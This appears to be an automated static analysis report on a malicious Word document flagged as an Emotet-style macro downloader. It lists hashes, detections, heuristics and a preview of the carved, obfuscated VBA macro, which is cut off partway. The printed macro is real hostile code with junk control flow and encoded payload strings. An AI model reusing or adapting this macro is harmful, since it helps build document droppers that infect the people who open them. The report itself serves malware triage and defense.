Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b47a536204b85400…

MALICIOUS

Office (OLE)

161.5 KB Created: 2018-03-27 18:30:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 1705d5e1b5c0e53b5d4ea8b2f143f412 SHA-1: cc3a7280a46c364b7d90e845de9550467ee73100 SHA-256: b47a536204b85400ddc05748c5d2dbf0bef73934207455be10b03c7822352cfb
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. Heuristics indicate the use of CreateObject, a common technique for launching payloads. The ClamAV detection name 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly suggest a downloader or dropper functionality, likely intended to fetch and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50709 bytes
SHA-256: aea0cc541fe0bd55c889f2e4c4cf3afa8707875cc4faed50d3186bacb97ee775
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iwHkdzjcqXVsq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "PiFHQIB"
Function GawdvEritjv()
On Error Resume Next
Select Case WiKCc
      Case 37671
         iYAUAU = CStr(rLNFFa + CStr(25204) - HtfYQ * 97757)
      Case 77410
         uJFkd = EbMiAB
         lRzIi = Tan(98986 * LFYiq)
End Select
szvUDFnCOdp = WIbSOq("Qv2AzADkAZABlADkAZQBlADkAMgBjADcANwBlADEAOABkADgAMgAyAGYAOAAyAGQAYgA4AGQAOSTWo,", 4, 71)
Select Case XRWDD
      Case 96692
         PFKukA = CStr(GmtXZ + CStr(21738) - VcfPh * 98771)
      Case 49314
         plbtdR = EJfCLo
         GFYizH = Tan(47733 * AEfiB)
End Select
Select Case aooJm
      Case 81869
         hAcpio = CStr(fwZlG + CStr(90046) - bsoEkp * 38101)
      Case 42192
         ZNZzm = bmlGWL
         MHunTp = Tan(46813 * wNLcww)
End Select
VYwZjQcRUM = WIbSOq("jRvKsAGYAYQA4ADAAZgA2AGMANAA1ADMAYgAxADIANwAwAIV", 6, 41)
Select Case FBAJM
      Case 75536
         cJpQA = CStr(nzAYS + CStr(79304) - hJzWiz * 48660)
      Case 51752
         OXoibj = FMzzJf
         wCoDAw = Tan(24356 * JJQSvE)
End Select
Select Case TjftVB
      Case 44308
         WrNZR = CStr(QwiMWb + CStr(55211) - ZXwww * 13830)
      Case 27889
         RpmQU = KGTShl
         sILDkS = Tan(16532 * mKrRw)
End Select
oMlOiYi = WIbSOq("YjXzaAGUAZgA0ADMAYQBlADkAMAAzAGUAYwAwAGIAMwAxAGMAZAAxADQANwA03YE%", 6, 56)
Select Case HvYEP
      Case 95070
         ZYmBY = CStr(lbsEtr + CStr(83007) - PmtLoF * 4323)
      Case 60497
         uwWaDL = NRoPTj
         CMmWd = Tan(87334 * waHdr)
End Select
Select Case pjrnUu
      Case 22028
         IZBjjz = CStr(baQnP + CStr(31625) - lWYYR * 97626)
      Case 24846
         lQHaWO = GFNcRM
         bDcXG = Tan(13073 * USIYUu)
End Select
YnDNkrARGAk = WIbSOq(".%RvgAMAA4AGQAOAA0ADIAYQAzADgAMwA4ADMAMQBmAGMAZgBkAGIAYgBlADIAYwA0ADIAMwA0ADUAYQBmADkAYgA0ADUAYgAyAGEAMQA0ADIAZQBmADkANAAwADEAMQA4ADYAYgA0ADgANAAxAGIANwBhAGUAZABkAGjs", 5, 160)
Select Case PwdMd
      Case 27861
         lbGdtf = CStr(LanwJ + CStr(31328) - VwtrGz * 32990)
      Case 95283
         CBTaqJ = Pnzhqb
         tNbZJ = Tan(85420 * ZLibu)
End Select
Select Case cucYCv
      Case 14820
         pIiACi = CStr(rtcvj + CStr(31749) - XuvSw * 83627)
      Case 63487
         QNOMW = XXUFS
         AjKOj = Tan(40090 * tqdmJ)
End Select
VwrBFIiCn = WIbSOq("Yr0X8ABkAGIAYgBiAGEAZQBlADgAYQA1ADQAYQAwADkANgAxADoOY", 6, 45)
Select Case YWicj
      Case 93296
         BlsQl = CStr(ItTWHq + CStr(32686) - Dnjjm * 57677)
      Case 58621
         NmbFmz = pukICA
         rtdpM = Tan(37227 * UVvsKU)
End Select
Select Case zKmFKQ
      Case 77153
         wSRjh = CStr(biFopp + CStr(71117) - wuiLT * 78278)
      Case 16636
         PViSj = Wnokmk
         WsitlH = Tan(9312 * tCIrm)
End Select
zsmUBzYWz = WIbSOq("4lAGQAMQAwAGEAYwBhADMANABlADcAMQBjADkAYQA3AGUAYQA0AGMAYQBmAGMAMQAyADIWXD,jz7", 2, 68)
Select Case sazwz
      Case 15777
         CvEOMz = CStr(SAFDA + CStr(58137) - BvRihD * 88867)
      Case 42206
         VbzNd = onncw
         wifYH = Tan(85372 * twFrH)
End Select
Select Case DBrts
      Case 50929
         NuDVK = CStr(diNiO + CStr(53660) - kLPbik * 89850)
      Case 34083
         MwpDD = rGLNsk
         QrCuZ = Tan(34335 * HlYvC)
End Select
ntRHnw = WIbSOq("ScTADIAMAA1AGUAZAA1ADkAYQBlAGMAYgBlAWrp", 4, 33)
Select Case rmQOH
      Case 61079
         FhFfGQ = CStr(nGWAjF + CStr(47042) - XYkLcv * 1742)
      Case 50629
         uAnzEq = FMkGjm
         nIdiA = Tan(28969 * LzswP)
End Select
Select Case WLMOW
      Case 51341
         ZVQLJj = CStr(Fpzff + CStr(70913) - zzHVjq * 54648)
      Case 80916
         ABaTX = ipZBHd
         YhGYX = Tan(13100 * SEzijZ)
End Select
HSMOzS = WIbSOq("VWssANwBmADMAMAA4ADkAMwBhAGEAYQBhAGEANgBmADMAMgBiADcAYQBhADEAZQBkADMAMwAyADgAMwBmAGYAMwBiADYANQA1
... (truncated)

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